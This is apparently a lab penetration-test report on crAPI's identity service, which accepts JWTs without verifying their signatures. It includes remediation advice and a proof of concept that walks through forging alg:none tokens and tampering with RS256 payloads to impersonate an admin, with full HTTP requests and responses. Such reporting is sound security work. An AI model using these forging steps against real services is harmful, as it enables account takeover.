Vulnerability
[FAIL] JWT Signature Not Verified - Authentication - JWT Validation
Description
The crAPI identity service does not verify JWT signatures. A token with the header alg:none and no signature is accepted, and an RS256 token whose payload was modified without re-signing is also accepted. An attacker can forge a token for any user and escalate the role to admin.
Impact
Confidentiality: victim account data can be read. Integrity: identity and role (admin) can be forged -> full account takeover of every user without credentials.
CWE
CWE-347: Improper Verification of Cryptographic Signature
OWASP
API2:2023 - Broken Authentication
Scenario
Normal: a legitimate role=user token only accesses its own data. Exploitation: a forged token (alg:none / edited RS256) impersonates an ADMIN (sub=[REDACTED-EMAIL], role=admin) -> accesses the admin account (id=5) -> CIA (Confidentiality + Integrity).
Endpoint
GET http://127.0.0.1:8888/identity/api/v2/user/dashboard (all JWT-based identity endpoints)
Affected feature
JWT-based authentication (crapi-identity)
Remediation
- Verify the JWT signature with the RS256 public key on every request.
- Explicitly reject alg:none and apply algorithm allow-listing (RS256 only).
- Use a mature JWT library; validate exp/iss/aud.
Proof of concept
- (Screenshot 1) NORMAL: GET /identity/api/v2/vehicle/vehicles with a legitimate RS256 token (shown in full) -> 200, own data only.
- (Screenshot 2) alg:none PROCESS: break down the original token, base64url-decode the header and payload, change alg to 'none' with no signature and set the payload to sub=[REDACTED-EMAIL]/role=admin, then reassemble the forged token (shown in full).
- (Screenshot 3) EXPLOITATION: send the alg:none token -> 200 returns the ADMIN account (id=5, ROLE_ADMIN).
- (Screenshot 4) RS256 tampering PROCESS: take the original RS256 token, edit the payload to sub=[REDACTED-EMAIL] and role=admin, then reattach the OLD signature without re-signing (token shown in full).
- (Screenshot 5) CIA IMPACT: send the tampered RS256 token -> still 200 and returns the ADMIN account -> proving the signature is not verified (Confidentiality + Integrity).
The complete record
LAB All targets are lab systems. Nothing here is a client engagement. Evidence is shown as recorded; secrets are blacked out.
Normal: access with own valid token
Normal: the attacker uses their valid RS256 token (role=user) to access their own data. The source capture contains the complete token; credential values are masked in this HTML view.
HTTP request
GET /identity/api/v2/vehicle/vehicles HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]
Accept: application/json
HTTP response
HTTP/1.1 200
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 368
[
{
"id": 6,
"uuid": "9b3ce26b-d797-404b-a961-09d7e45e0d1b",
"pincode": "8392",
"vin": "861P9NB3CL6ZEA9X1",
"year": 2026,
"status": "INACTIVE",
"previousOwners": [],
"model": {
"id": 4,
"model": "5 Series",
"fuel_type": "PETROL",
"vehicle_img": "images/bmw-5.jpg",
"vehiclecompany": {
"id": 4,
"name": "BMW"
}
},
"vehicleLocation": {
"id": 4,
"latitude": "38.206348",
"longitude": "-84.270172"
},
"owner": null
}
]
An English explanation of this process is not available.
Original process notes (Bahasa Indonesia)
Bongkar JWT asli -> ubah alg:none & sub=admin, role=admin -> susun ulang token palsu (utuh)
PROSES: buat token alg:none
Header memakai alg:none sehingga tidak perlu signature. Payload diubah untuk MENYAMAR sebagai admin (sub=[REDACTED-EMAIL], role=admin).
Process details
== 1. Token asli hasil login (format: header.payload.signature) ==
[REDACTED-LAB-TOKEN]
== 2. Base64URL-decode tiap bagian ==
header = eyJhbGciOiJSUzI1NiJ9
-> {"alg": "RS256"}
payload = [REDACTED-LAB-TOKEN]
-> {"sub": "[REDACTED-EMAIL]", "iat": 1790690714, "exp": 1791295514, "role": "user"}
== 3. Susun token PALSU: alg diganti 'none' (tanpa signature), sub->[REDACTED-EMAIL], role->admin ==
header baru = base64url({"alg": "none", "typ": "JWT"})
= eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0
payload baru = base64url({"sub": "[REDACTED-EMAIL]", "role": "admin", "iat": 1790690714, "exp": 1999999999})
= [REDACTED-LAB-TOKEN]
signature = (KOSONG)
== 4. Token PALSU hasil akhir (utuh, tidak dipotong) ==
[REDACTED-LAB-TOKEN]
Result: unsigned token accepted as admin
Result: the server accepts the unsigned alg:none token and returns the admin account (id=5, ROLE_ADMIN). The capture records full admin impersonation. The source contains the complete token in the header; credential values are masked in this HTML view.
HTTP request
GET /identity/api/v2/user/dashboard HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]
Accept: application/json
HTTP response
HTTP/1.1 200
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 231
{
"id": 5,
"name": "Admin",
"email": "[REDACTED-EMAIL]",
"number": "9010203040",
"picture_url": null,
"video_url": "data:image/jpeg;base64,B7HoBfK09fDx0A==",
"video_name": "Admin_video",
"available_credit": 100.0,
"video_id": 5,
"role": "ROLE_ADMIN"
}
Change RS256 claims to sub=admin and role=admin; keep the original, now-invalid signature
Preparation: change payload, keep signature
Preparation: modify the RS256 payload but keep the original signature. The signature no longer matches the payload and should be rejected, yet crAPI accepts the token.
Process details
== 1. Token RS256 asli (signature valid) ==
[REDACTED-LAB-TOKEN]
== 2. Decode payload ==
{"sub": "[REDACTED-EMAIL]", "iat": 1790690714, "exp": 1791295514, "role": "user"}
== 3. Ubah payload (role user->admin, sub->[REDACTED-EMAIL]). Header & signature TIDAK diubah ==
payload baru = base64url({"sub": "[REDACTED-EMAIL]", "iat": 1790690714, "exp": 1791295514, "role": "admin"})
= [REDACTED-LAB-TOKEN]
header = eyJhbGciOiJSUzI1NiJ9 (tetap, alg RS256)
signature = qiVE1YKhnGZYsQoV8qLrVMWSqX1XkvyP_8xBeCNs40s0BwNFP6ml5JkS_qAyFmcPJ9MqhN_4BCGuoIQ71mzzqWAUPd29N9mLh17OaiYFPlhalYV7A4h7XGY9sQNFyFwhlGXTSpSE5vNGzMBGVb_QXNoeabnuvIWnerN6wlkLL0vEKMIvtAkEUPey1GciCnp-6Vm_xf7g53AWjZ1Zg9d3kbDjHAvN697pn2czd98QQdK2E-DCQSyt8K8PLFRl1qqBO3gDeIv2HFJ-R-eds9QfnoeCUUk4BPBcND7BbqTFVVx6FUVx-A_lsIe8KmGNSllOP6zcDsSmQFMHmubilsdv7g (signature LAMA, TIDAK di-resign)
== 4. Token hasil (header.payload_baru.signature_lama) -- signature tak cocok dgn payload (utuh) ==
[REDACTED-LAB-TOKEN]
Impact: modified RS256 token accepted
Impact: a token with a mismatched signature still returns 200. Admin account data is exposed, compromising confidentiality; a forged admin identity and role compromise integrity. The server does not verify the signature.
HTTP request
GET /identity/api/v2/user/dashboard HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]
Accept: application/json
HTTP response
HTTP/1.1 200
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 231
{
"id": 5,
"name": "Admin",
"email": "[REDACTED-EMAIL]",
"number": "9010203040",
"picture_url": null,
"video_url": "data:image/jpeg;base64,B7HoBfK09fDx0A==",
"video_name": "Admin_video",
"available_credit": 100.0,
"video_id": 5,
"role": "ROLE_ADMIN"
}
← Previous case: Improper Inventory Management - Authentication - OTP Endpoint Versions Next case: Mass Assignment - Authentication - User Registration →